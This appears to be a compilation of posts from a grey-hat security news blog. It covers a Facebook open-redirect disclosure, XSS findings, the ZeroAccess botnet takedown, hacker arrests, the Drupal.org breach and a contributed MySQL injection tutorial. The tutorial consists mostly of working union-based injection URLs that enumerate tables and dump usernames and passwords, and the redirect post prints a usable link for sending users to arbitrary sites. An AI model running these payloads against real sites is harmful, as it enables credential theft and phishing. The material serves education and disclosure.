VOGH Exclusive: URL Redirection Vulnerability Found In Facebook

VOGH Exclusive: URL Redirection Vulnerability Found In Facebook [The Vulnerability Still Active & Not Been Patched]

Facebook -the world's largest social networking site with registered users of more than one billion, is considered among one of the safest site of the cyber space. To maintain such reputation Facebook Inc has done all the required steps, that one could possibly take. Like other high profile and very popular websites, Facebook also stand as one of the hot target of almost every cyber criminals of the world. To get rid of this and make FB safe and secure, the company have introduced what it called 'Bug Bounty' offer; where you can submit vulnerabilities to FB and get rewarded. We have seen many security researchers and hackers across the globe has done this and get their award. But not every time, and today I will talk about that- few days ago a reader of VOGH, who also goes by the nick name of 'Dr41DeY' has figured out a URL redirection vulnerability in Facebook. One of the link in Facebook App which is apps.facebook.com is posing URL redirection vulnerability. The hacker has demonstrated how any one can use  the vulnerability  in order to manipulate millions of innocent Facebook users. Let see  

Before publishing this, one of our VOGH representative have talked with Facebook Security regarding this security vulnerability, but due to some reason FB might overlooked this issue. Finally after waiting for almost a week, we the Team VOGH decided to bring this in-front of our reader. Let briefly go through with the vulnerable link- 

https://apps.facebook.com/a.php?u=http://www.voiceofgreyhat.com&mac=AQLy7nyXi5NBt31j&__tn__=*B&eid=AQLpbizR7KEf3cyD0VTN7fNtv99fMZABDp2gdWhvL-MQocJIPy3w4hUG7_7hrmSMqDq7QLCI9k_0LbB95NEz_6GUDHGNgTDsGP_rX-VWRHxfg5a--VlnN1K9FdG3NAek8r2JPWENkb2Mu56EckbZCGXcPie27OnHxE-H7MBufQel0Pr-ZjpCWB6QF5xHeWsdKqyHzjK2woBGGrjk9Dlgnzcw3d9ZWPzrwbGpm6MSkpks3mqEphXnTP2Vd9UDQxIs68NnTaO35XIwKq5t3CSdb11iU_34gzjfLgvvDo_BYbgtrGe0Juc5CpRSwd5nImw9oPPvn6Za9rrxO_ivROtOGc2b2S3bYzNLWpbDwt3cFN2rJ3JElyIR0vjB4R859PpE9SrZx6AD3s_liikzPh30YLVb8XvPABk7r9MShk6OrVFPiAWZnEvPx49UzPDSF-nEl188rEPAi0KGJ4u1zb10hhzmHUCjH04SezDByUkyNituMb2lgiQz-Xlpgy_tkVYR-U7plDa38N9VzdAj_Bwefd7B85ykZCAy9ZQOt48Ql8KQeKfivk3sThZIkLwWPiju7R28Sw6bj09vS_Y28kFSqanGe9tYAPfKIe4zOzQt9-Q1CC_EwX3ypOlyQ2yXMiU3lwp7M9EriKHRFDsTgsuzzF-uvlpx3UrWh8M55-NX0ULjr4kxjAR5g_1wU-luUyn_Ot6Ly1_ZbBdahyb5uSmCDNvF5kMuIH8Gxvpql45dNffGzKau9oZGn6r1OmsG47JIGipznCVaZnWjXAakDnEMX6X8ZtI-M-db1olzbBpJdj5sZe-x2VM02S5XsXJWe_QLxFDOupjbz8I82HETHQ9PbzSIMsJboll4E3-f_JQFfdzwEguLa8SC_ImRahWBCwKNJeSlmRv91FqWpQaChe5-UyAoqcblvK4jPuRO3qC7o-qMTQ2jEJqqUW46koulOmgNJpMYXPgRxjNGcwjyTPS59Nr08zq6eCNd1aYLh2E4s5MYXBtVUTF8l0uhQ2wYSoR66xZsI2tK0DD1KiQHyTO1QieBwPtCN3eWgRzUTg3lM3ttkuwYKRPPLDvtUOPWmZhYUzUFcbfPM2kXdpqyGlrGx9-ErKGygYKATx2xzrTzktjgW4q0L5wfO3CSKAOCAoKfi_pfz-zIHSNE8ZAjZDtpbC_chgkvbHWJYYIs7pnE1riWJYORACjkkRr6nZoivC3z_g-8JBahghwy2C34kJYZJ6cBC8LKoB6KCTbj_F1tArQAzcSUij4vrJNUATzsdlO_ol6HwUQb8FjoWa38Bhtx81stxB328sgC9IGu1omPG0QeNJVhcJwh6HyEwtgycBLrlcdedaWbkwvnjv3F3BWuJIi763nBeYuAgNUaEUYHaXu_ZJzXW8fQ72nz_hddGT_GH50&sig=89099

Replace voiceofgreyhat.com with any of your favorite site, and the the said vulnerability will allow you to get redirected to that very website you want to from Facebook. This loophole is still active, and any one can test that with the above url, we thought the impact of this loophole is very serious, as any malicious attacker can misuse the trust-hod of Facebook's url in order to harm regular internet users, while redirecting them to any junk or malfunctional websites.

Disclaimer:- Earlier I told that the issue has already brought into the notice of Facebook Security, but they overlooked the whole issue, so being a responsible cyber media, we VOGH are disclosing this to people. If any one misuse this vulnerability, then Voiceofgreyhat will not at all be responsible for any kind of mishap.

Update:- May be doing more that what we call late repent, but finally the above disclosed vulnerability has been patched by Facebook security team. 

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Skype Shop & National Geographic Germany (Nat Geo) Vulnerable to XSS

Skype Shop & National Geographic Germany (Nat Geo) Vulnerable to XSS -Said Dr41DeY

Couple of weeks ago, I have talked about the vulnerability of Cartoon Network official website, today I am going to speak about two more big fish who are posing serious security holes in their official websites. Lets not waste time while stretching the preface and come directly to the story -it's the hacker who has recently made his name for some big hacks, has back again. 

Many of you are right, I am talking about 'Dr41DeY' because he is the guy who found vulnerability in the official website of Skype Shop and National Geographic Channel Germany (Nat Geo). Both Nat Geo and Skype have non persistent cross site scripting vulnerability also known as XSS vulnerability in their website. We have already informed this issue to concerning authority and webmaster to avoid misfortune. As expected, while writing this Skype have taken this issue seriously and fixed their loopholes immediately. Still for proof- above I have shared the screenshots with our readers, as evidence of the XSS hole. But unlike Skype Shop, Nat Geo yet not responded, so the vulnerability still exist on their portal. Hopefully they will take appropriate steps with out doing more delay. For updates in this story and also other hot cyber issues, just stay tuned with VOGH.  Before concluding, I would like to remind you that- in 2012 an Indian hacker named Akshay has found XSS holes in the official website of National Geographic. Again after a year, Dr41DeY found another Nat GEO site vulnerable to XSS, that definitely arises a doubt about the security concern of one of the world's leading satellite television channel featuring documentaries with factual content involving nature, science, culture, and history, plus some reality and pseudo-scientific entertainment programming. 

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WikiLeaks Revealed Two New Documents of Trans Pacific Partnership Agreement (TPP)

WikiLeaks Revealed Two New Documents of Confidential Trans Pacific Partnership Agreement (TPP)

Last month WikiLeaks has published  the draft of secret Trans Pacific Partnership Agreement (TPP), uncovering the United States' covert international push for stronger intellectual property rights. Now just a month later two more breathtaking documents of TPP has been revealed by the whistle blower, that show the state of negotiations as the twelve TPP countries began supposedly final negotiations at a trade ministers’ meeting in Singapore this week. This leaks come at a particularly inconvenient time for negotiators, as they enter into their fourth day of talks in Singapore amid growing criticism. The talks are premised on secrecy, allowing countries to push for particular proposals without having to justify their positions publicly, but the continued pressure from WikiLeaks has brought unintended attention to the proceedings.

According to official release of WikiLeaks -One document describes deep divisions between the United States and other nations, and "great pressure" being exerted by the US negotiators to move other nations to their position. The other document lists, country-by-country, the many areas of disagreement remaining. It covers intellectual property and thirteen other chapters of the draft agreement. This suggests that the TPP negotiations can only be concluded if the Asia-Pacific countries back down on key national interest issues, otherwise the treaty will fail altogether. The above described two documents are dubbed as TPP Salt Lake Extracts & TPP Salt Lake Positions. For additional information about this issue click Here.  For further updates on TPP and also other hot WikiLeaks stories & cyber issues, just stay tuned with VOGH. 

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Microsoft Along With FBI & EC3 Shattered The Notorious ZeroAccess Botnet

Microsoft Along With FBI & EC3 Shattered The Notorious ZeroAccess Botnet Responsible For Infecting More Than 2 Million Computers

Redmond based software giant Microsoft yet again got a huge success against a big racket of cyber criminals while shattering one of the world's largest and most rampant botnets named 'ZeroAccess'. The Sirefef botnet, also known as ZeroAccess, is responsible for infecting more than 2 million computers, specifically targeting search results on Google, Bing and Yahoo search engines, and is estimated to cost online advertisers $2.7 million each month. Tech giant Microsoft working alongside the Federal Bureau of Investigation (FBI), Europol's European Cybercrime Centre (EC3) have successfully disrupted this notorious botnet. This is Microsoft’s first botnet action since the Nov. 14 unveiling of its new Cybercrime Center — a center of excellence for advancing the global fight against cyber crime — and marks the company’s eighth botnet operation in the past three years.

“This operation marks an important step in coordinated actions that are initiated by private companies and, at the same time, enable law enforcement agencies around Europe to identify and investigate the criminal organizations and networks behind these dangerous botnets that use malicious software to gain illicit profits,” said Troels Oerting, head of the EC3. “EC3 added its expertise, information communications technology infrastructure and analytic capability, as well as provided the platform for high-level cooperation between cyber crime units in five European countries and Microsoft.”

Due to its botnet architecture, ZeroAccess is one of the most robust and durable botnets in operation today and was built to be resilient to disruption efforts, relying on a peer-to-peer infrastructure that allows cyber criminals to remotely control the botnet from tens of thousands of different computers. ZeroAccess is used to commit a slew of crimes, including search hijacking, which “hijacks” people’s search results and redirects people to sites they had not intended or requested to go to in order to steal the money generated by their ad clicks. ZeroAccess also commits click fraud, which occurs when advertisers pay for clicks that are not the result of legitimate, interested human users’ clicks, but are the result of automated Web traffic and other criminal activity. Research by the University of California, San Diego shows that as of October 2013, 1.9 million computers were infected with ZeroAccess, and Microsoft determined there were more than 800,000 ZeroAccess-infected computers active on the Internet on any given day.

How It Happened:- 

Last week, Microsoft filed a civil suit against the cyber criminals operating the ZeroAccess botnet and received authorization from the U.S. District Court for the Western District of Texas to simultaneously block incoming and outgoing communications between computers located in the U.S. and the 18 identified Internet Protocol (IP) addresses being used to commit the fraudulent schemes. In addition, Microsoft took over control of 49 domains associated with the ZeroAccess botnet. A10 Networks provided Microsoft with advanced technology to support the disruptive action.

As Microsoft executed the order filed in its civil case, Europol coordinated a multijurisdictional criminal action targeting the 18 IP addresses located in Europe. Specifically, Europol worked with Latvia, Luxembourg, Switzerland, the Netherlands and Germany to execute search warrants and seizures on computer servers associated with the fraudulent IP addresses located in Europe. This is the second time in six months that Microsoft and law enforcement have worked together to successfully disrupt a prevalent botnet. It demonstrates the value coordinated operations have against cyber criminal enterprises. For more information about this botnet operation click here

ZeroAccess is counted as a very sophisticated malware, blocking attempts to remove it, therefore recommended for every Microsoft user to click Here for detailed instructions on how to remove this threat. As Microsoft found that the ZeroAccess malware disables security features on infected computers, leaving the computer susceptible to secondary infections, it is critical that victims rid their computers of ZeroAccess by using malware removal or antivirus software as quickly as possible. 

In conversation with press David Finn, executive director and associate general counsel of the Microsoft Digital Crimes Unit said -“Microsoft is committed to working collaboratively — with our customers, partners, academic experts and law enforcement — to combat cybercrime. And we’ll do everything we can to protect computer users from the sinister activities and criminal networks that victimize innocent people and businesses around the world.” 

While talking about ZeroAccess botnet take down, I would like to remind you that in Match, last year Microsoft has successfully shutdown two command and control (C&C) server of world's of the most dangerous banking trojan Zeus.

-Source (Microsoft Official Blog)

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We Are The Best Tool For Web Application Security (Discovering Infamous Sql-i Technique)

We Are The Best Tool For Web Application Security (Discovering The Infamous Sql-injection Technique) 

Today I am proudly sharing an article made by Mr. Rafael Souza one of the great admirer and fan of VOGH has gladly shared his brilliant research paper on SQL-Injection (MySql) with us. Rafael is a very passionate on cyber security domain and he is keenly involved with GreyHat Community and Maintainer design of Brazilian Backtrack Team. So without wasting time lets go and see what Rafael has for us:- 

Discover The Infamous MySQL Injection Technique 

                                                                                        

ABSTRACT:

It is known that computers and software are developed and designed by humans, human error is a reflection of a mental response to a particular activity. Did you know that numerous inventions and discoveries are due to misconceptions?

There are levels of human performance based on the behavior of mental response , explaining in a more comprehensive, we humans tend to err , and due to this reason we are the largest tool to find these errors , even pos software for analysis and farredura vulnerabilities were unimproved by us.

                                                                                                       
Understand the technique MySQL Injection: 

One of the best known techniques of fraud by web developers is the SQL Injection. It is the manipulation of a SQL statement using the variables who make up the parameters received by a server-side script, is a type of security threat that takes advantage of flaws in systems that interact with databases via SQL. SQL injection occurs when the attacker can insert a series of SQL statements within a query (query) by manipulating the input data for an application. 

STEP BY STEP

 

(Figure 1) Detecting

Searching Column number (s): We will test earlier in error, then no error may be said to find.

(Figure 2) SQL Error 

Host Information,

Version of MySQL system used on the server.

(Figure 3) Host Information

(Figure 4) Location of the Files

Current database connection used between the "input" to the MySQL system

(Figure 5) Users of MySQL

(Figure 6) Current Time

Brute Force or Shooting

This happens in versions below 5.x.y

(Figure 7) Testing

Dump: This happens in versions up 5.x.y [ 1º Method ]

http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database()--

usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you
or
Unknown column 'usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you' at line 1

<>------------------------<>-------------------------<>--------------------------<>

[ 2º Method ]

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 0,1--

CHARACTER_SETS
or
Unknown column 'CHARACTER_SETS' in 'where clause'
ou
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'CHARACTER_SETS' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 1,2--

COLLATIONS
or
Unknown column 'COLLATIONS' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'COLLATIONS' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 16,17--

usuarios
or
Unknown column 'usuarios' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'usuarios' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 17,18--

rafael
or
Unknown column 'rafael' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael' at line 1

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Searching Column (s) of a given table

* Brute Force / Shooting

This happens in versions below 5.x.y

http://[site]/query.php?string= 1 union all select 1,2,3,4,nome from usuarios--

Unknown column 'rafael1' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,churros from usuarios--

Unknown column 'rafael1' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,login from usuarios--

_Rafa_
or
Unknown column '_Rafa_' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,passwd from usuarios--

rafael1337
or
Unknown column 'rafael1337' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1337' at line 1

=--------------------------=--------------------------=--------------------------=--------------------------=

Dump

This happens in versions up 5.x.y [ 1º Method ]

"usuarios" hexadecimal -> "7573756172696f73"

http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x7573756172696f73--

login,passwd,id,texto
or
Unknown column 'login,passwd,id,texto' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login,passwd,id,texto' at line 1

<>------------------------<>-------------------------<>--------------------------<>

[ 2º Method ]

"usuarios" decimal -> "117,115,117,97,114,105,111,115"

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 0,1--

login
or
Unknown column 'login' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 1,2--

passwd
or
Unknown column 'passwd' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'passwd' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 2,3--

id
or
Unknown column 'id' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'id' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 3,4--

texto
or
Unknown column 'text' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'text' at line 1

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Extracting data from the columns of a given table

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(login,0x20,0x3a,0x20,senha) from usuarios--

_Rafa_ : fontes1337
or
Unknown column '_Rafa_ : fontes1337' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_ : fontes1337' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(login,0x20,0x3a,0x20,senha) from usuarios--

_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec
or
Unknown column '_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec ‘in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat_ws(0x20,0x3a,0x20,login,senha) from usuarios--

_RHA_ : infosec1337
or
Unknown column '_RHA_ : infosec1337‘ in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Mlk_ : gremio1903' at line 1

=--------------------------=

Concat
group_concat() => Search all you want with ascii caracters

concat() => search what you want with ascii caracters

concat_ws() => unite

Hexadecimal
0x3a => :
0x20 => space
0x2d => -
0x2b => +

Readers, this article is for educational purposes only, could continue explaining how to exploit web sites, but that is not my intention.

It is known that the impact of the change may provide unauthorized access to a restricted area, being imperceptible to the eye of an inexperienced developer, it may also allow the deletion of a table, compromising the entire application, among other features. So I want to emphasize that this paper is for security researcher and developers to beware and test your code.

CONCLUSION

Many companies are providing important information on its website and database, information is the most valuable asset is intangible, the question is how developers are dealing with this huge responsibility?

The challenge is to develop increasingly innovative sites, coupled with mechanisms that will provide security to users.

The purpose of this paper is to present what is SQL Injection, how applications are explored and techniques for testing by allowing the developer to customize a system more robust and understand the vulnerability.

**********

I hope you all will enjoy the above article, as I did. On behalf of entire VOGH Team I am sincerely thanking Mr. Rafael Souza for his remarkable contribution. 

To get more of such exclusive research papers along with all kind of breaking cyber updates across the globe just stay tuned with VOGH. 

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Stratfor Hacker Jeremy Hammond Sentenced to 120 Months in Prison

LulzSec Hacker Jeremy Hammond Sentenced to 120 Months in Prison For Stratfor Hack

Infamous hacker Jeremy Hammond convicted by the Judge for cyber-attacks on government agencies and businesses, including a global intelligence company. This 28 year old Chicago hacker who is also known as "Anarchaos" was arrested by the federal authorities and been charged for the  breach of the security analysis company Stratfor. In December last year the bail application of Hammond was also been rejected by the the U.S. District Judge Loretta Preska. On June this year Hammond pleaded guilty for his sin. In his statement he said "I have pleaded guilty, it is a relief to be able to say that I did work with Anonymous to hack Stratfor, among other websites." 

That guilty plea indeed worked out for him, as that time it was predicated that Hammond  might have to face 30 years in prison, but on Friday Judge Loretta Preska sentenced Hammond to 120 months in federal prison and three years of supervised release for illegally accessing computers systems of law enforcement agencies and government contractors. In an emotional proceeding that lasted more than 2 hours in a Manhattan federal court room on Friday, victims and relatives of Hammond railed against the FBI and shed tears on his behalf following the sentencing. One overwrought person claiming to be a victim was forcibly escorted from the court by officers. But Hammond likely knew the sentence was coming, his lawyer said. "When Jeremy took this plea with a 10-year maximum, I think he understood this was very likely the outcome," said Sarah Kunstler, Hammond's defense attorney outside of court house.

Chief U.S. District Judge Loretta A. Preska said Hammond's digital handiwork had compromised thousands of people's personal and financial data, including the unpublished phone numbers and addresses of law enforcement, who then received threats. Hammond tried unsuccessfully to argue that his actions were politically motivated, she said. Hammond pleaded guilty to a single charge with a 10-year maximum sentence. Still his lawyers are asking to reduce his punishment for a sentence of 20 months.

Hammond has been held without bail since his arrest in March on charges connected with last year's hacking of Strategic Forecasting, or Stratfor, an Austin, Texas-based international intelligence broker, by AntiSec, an offshoot of LulzSec, which is in turn an offshoot of the hacktivist collective Anonymous. Prosecutors say the hack of Austin, Texas-based Strategic Forecasting resulted in the theft of 60,000 credit-card numbers and records for 860,000 clients. The government alleges that he published some of that information online, and used some of the stolen credit card data to run up at least $700,000 in unauthorized charges. He is also accused of giving about five million internal emails to WikiLeaks, which were published under the name The Global Intelligence Files.

-Source (Fox News)

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Drupal.org Hacked ! More Than 967,000 Registered User Details Compromised

Drupal.org Hacked ! More Than 967,000 Registered User Details Compromised 

Drupal, one of the most famous and widely used open-source content management framework have fallen victim to cyber criminals. The Drupal Security Team and Infrastructure Team has discovered unauthorized access to account information on the official Drupal website and another site called groups.drupal.org. This security breach has exposed user names, country, and email addresses along with hashed passwords of more than 967,000 registered users on the Drupal.org. But still a matter of relief is that the breach failed to infiltrate the credit card details which was stored on the same server. According to security release unauthorized access was made via third-party software installed on the Drupal.org server infrastructure, and was not the result of a vulnerability within Drupal itself. Drupal team have worked with the vendor to confirm it is a known vulnerability and has been publicly disclosed. They are still investigating and will share more detail when it is appropriate. Upon discovering the files during a security audit, the security team has already shut down the association.drupal.org website to mitigate any possible ongoing security issues related to the files. The Drupal Security Team then began forensic evaluations and discovered that user account information had been accessed via this vulnerability. The suspicious files may have exposed profile information like username, email address, hashed password, and country. In addition to resetting your password on Drupal.org, it is also recommending a number of measures (below) for further protection of your information, including, among others, changing or resetting passwords on other sites where you may use similar passwords. 

As a precautionary measure of the said security breach, Drupal Security Team has reset all Drupal.org account holder passwords and are requiring users to reset their passwords at their next login attempt. A user password can be changed at any time by taking the following steps. 

1. Go to https://drupal.org/user/password 
2. Enter your username or email address. 
3. Check your email and follow the link to enter a new password. It can take up to 15 minutes for the password reset email to arrive. If you do not receive the e-mail within 15 minutes, make sure to check your spam folder as well.

Counter Measures that Drupal has Taken to avoid such mishap is something followed- as attacks on high-profile sites (regardless of the software they are running) are common, Drupal strive to continuously improve the security of all Drupal.org sites. To that end, Drupal have taken the following steps to secure the Drupal.org infrastructure:

• Staff at the OSU Open Source Lab (where Drupal.org is hosted) and the Drupal.org infrastructure teams rebuilt production, staging, and development webheads and GRSEC secure kernels were added to most servers
• Drupal is scanning and have not found any additional malicious or dangerous files and making scanning a routine job in their process
• There are many subsites on Drupal.org including older sites for specific events. Drupal created static archives of those sites.

This security breach of Drupal which affected more than 967,000 users is giving us a remind of the decent history of breach where we have seen a slew of attacks against the following sites: Scribd, Guild Wars 2, Gamigo, Blizzard, Yahoo, LinkedIn, eHarmony, Formspring, Android Forums, Gamigo,  Nvidia,Blizzard, Philips, Zynga, VMWare, Adobe,  Twitter  New York Times, Apple and so on. 

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Hackers Exploiting Old Ruby on Rails Vulnerability To Compromise Web Servers & Create Botnet

Hackers Exploiting Old Ruby on Rails Vulnerability (CVE-2013-0156) To Compromise Web Servers & Create IRC Botnet

A critical vulnerability on Ruby on Rails spotted in January this year which was deemed “critical” at the same time yet again found in the wild. The vulnerability known as CVE-2013-0156 that affected versions 3.0.20 and 2.3.16 again rises it's hand. Though a security patch was released by the Rails developers. But as we all know that many server administrator used to be unaware of these events have not patched their systems. As a result hackers and cyber criminals are actively exploiting a critical vulnerability in the Ruby on Rails Web application development framework in order to compromise Web servers and create a dangerous botnet. This major security issue was first discovered by a security consultant Mr. Jeff Jarmoc of research firm Matasano Security. In his blog Jarmoc said "It’s pretty surprising that it’s taken this long to surface in the wild, but less surprising that people are still running vulnerable installations of Rails. It also appears to be affecting some web hosts." According to his blog post -the exploit that's currently being used by attackers adds a custom cron job -- a scheduled task on Linux machines that executes a sequence of commands. Those commands download a malicious C source file from a remote server, compile it locally and execute it. The resulting malware is a bot that connects to an IRC (Internet Relay Chat) server and joins a predefined channel where it waits for commands from the attackers. A pre-compiled version of the malware is also downloaded in case the compilation procedure fails on the compromised systems.

"Functionality is limited, but includes the ability to download and execute files as commanded, as well as changing servers," Jarmoc said. "There's no authentication performed, so an enterprising individual could hijack these bots fairly easily by joining the IRC server and issuing the appropriate commands." But the matter of relief is that Jarmoc concluded while saying "this is a pretty straightforward skiddy exploit of a vulnerability that has been publicly known, and warned about, for months."

But still administrators who have not yet patched their Rails version should immediately should update the Ruby on Rails installations on their servers to at least versions 3.2.11, 3.1.10, 3.0.19 or 2.3.15 which contain the patch for this vulnerability. However, the best course of action is probably to update to the latest available Rails versions, depending on the branch used, since other critical vulnerabilities have been addressed since then. 

Brief About RoR:- Ruby on Rails is a popular framework for developing Web applications based on the Ruby programming language and is used by major websites including Hulu, GroupOn, GitHub and Scribd.

-Source (Network World)

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GFI LanGuard 2012 One Solution For vulnerability Scanning, Patch Management, Network & Software Audit

GFI LanGuard 2012 One Solution For Vulnerability Scanning, Patch Management, Network & Software Auditing 

Earlier we have talked about GFI LanGuard, but while looking at the rising cyber threats, security researcher  continue to identify new, sophisticated malware threats, vulnerability and patch management are more critical than ever as a key component of a layered security approach. To get rid of all those security challenges, GFI Software announced the availability of GFI LanGuard 2012, in which the manufacturer claimed to provide network and system administrators with the ability to manage 100 percent of their patching needs through a single, intuitive and easy-to-use interface, without the need for other update tools. So lets take a roam of this fine product of GFI Software-

Enhanced Features of GFI LanGuard 2012 include:

• Comprehensive Patch Management – Administrators can now manage 100 percent of their patching needs – both security and non-security updates – from a centralized console. No other update tools are necessary.
• Strong Vulnerability Assessment for Network Devices – Network devices such as printers, routers and switches from manufacturers such as HP and Cisco, can now be detected and scanned for vulnerabilities. GFI LanGuard 2012 performs over 50,000 checks against operating systems, installed applications and device firmware for security flaws and misconfigurations. It also runs network audits that now detect mobile devices running iOS and Android operating systems.
• Improved Scan and Remediation Performance – New Relay Agents receive patches and definition files directly from the GFI LanGuard server and distribute as appropriate – helping IT resources save time, manage network bandwidth and increase the number of devices that can be accommodated. This is particularly effective in multi-site and large networks.

GFI LanGuard 2012 combines vulnerability scanning, patch management, and network and software auditing into one solution that enables IT professionals to scan, detect, assess and correct potential security risks on their networks with minimal administrative effort. GFI LanGuard also enables administrators to inventory devices attached to their networks; receive change alerts, such as notification when a new application is installed; ensure antivirus applications are current and enabled; and strengthen compliance with industry regulations through automated patch management that defends against potential network vulnerabilities. With GFI LanGuard, IT administrators can manage more than 2,500 machines from a single console, it integrates with more than 1,500 security applications and includes keyword search functionality.

After going through the above brief description, many of you must be excited about this new product. For the kind information of our readers, yes indeed GFI LanGuard 2012 is one of the finest tool ever released in this domain. Detailed information LanGuard 2012 can be found here. Also a 30 day trail pack of GFI LanGuard 2012 has been made available for download. 

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Self Propagated LulzSec Leader 'Aush0k' Arrested By Australian Federal Police

Self Propagated LulzSec Leader 'Aush0k' Arrested in Sydney By Australian Federal Police (AFP)

Many of us knew Hector Xavier Monsegur widely known as 'Sabu' as the leader of infamous international hacker group LulzSec and Antisec. But this idea will surely be changed when you will hear the histrionic story, which came to light when a 24 old Australian proclaimed himself as the leader of notorious hacker collective group Lulz Security also known as LulzSec. The man, known online as Aush0k, is a senior Australian IT professional who works for the local arm of an international IT company. Police say he was in a "position of trust" within the company and had access to information on government clients which Aush0k manipulated and misused. According to Australian Federal Police a special investigation began less than two weeks ago when investigators found a government website had been compromised. The man has been charged with two counts of unauthorized modification of data to cause impairment and one count of unauthorized access to a restricted computer system. He faces a maximum of 12 years in jail. AFP Commander Glen McEwen says the man posted in online forums frequented by other members of LulzSec that he was the group's leader. "There was no denials of his claims of being the leader," added McEwen. The man was charged and appeared in court on the very day of his arrest. And he will face Woy Woy Local Court again on May 15. 

While talking about this dramatic story of proclaimed LulzSec leader Aush0k, we would love to remind you the decent history when the leader of Anonymous affiliated LulzSec "Sabu," whose real name is Hector Xavier Monsegur, turned traitor to his community and became FBI informer and provided all the information on fellow hackers. As soon as the FBI gathered all the sensational information from Sabu, immediately we have seen the arrest of almost all the key members of LulzSec including Ryan Cleary, Jake Davis, Jeremy Hammond, Raynaldo Rivera, Cody Kretsinger and so on. And today we have seen the arrest of another LulzSec leader and key man, and this arrest is the first one done by the AFP. Earlier the arrest of Sabu proved very handy for the law and enforcement, may be this time also Aush0k's arrest can show them few more directions and can open few closed doors of investigation. So till time wait and stay tuned with VOGH for the updates on this story, also all the other cyber updates. 

-Source (ABC News)

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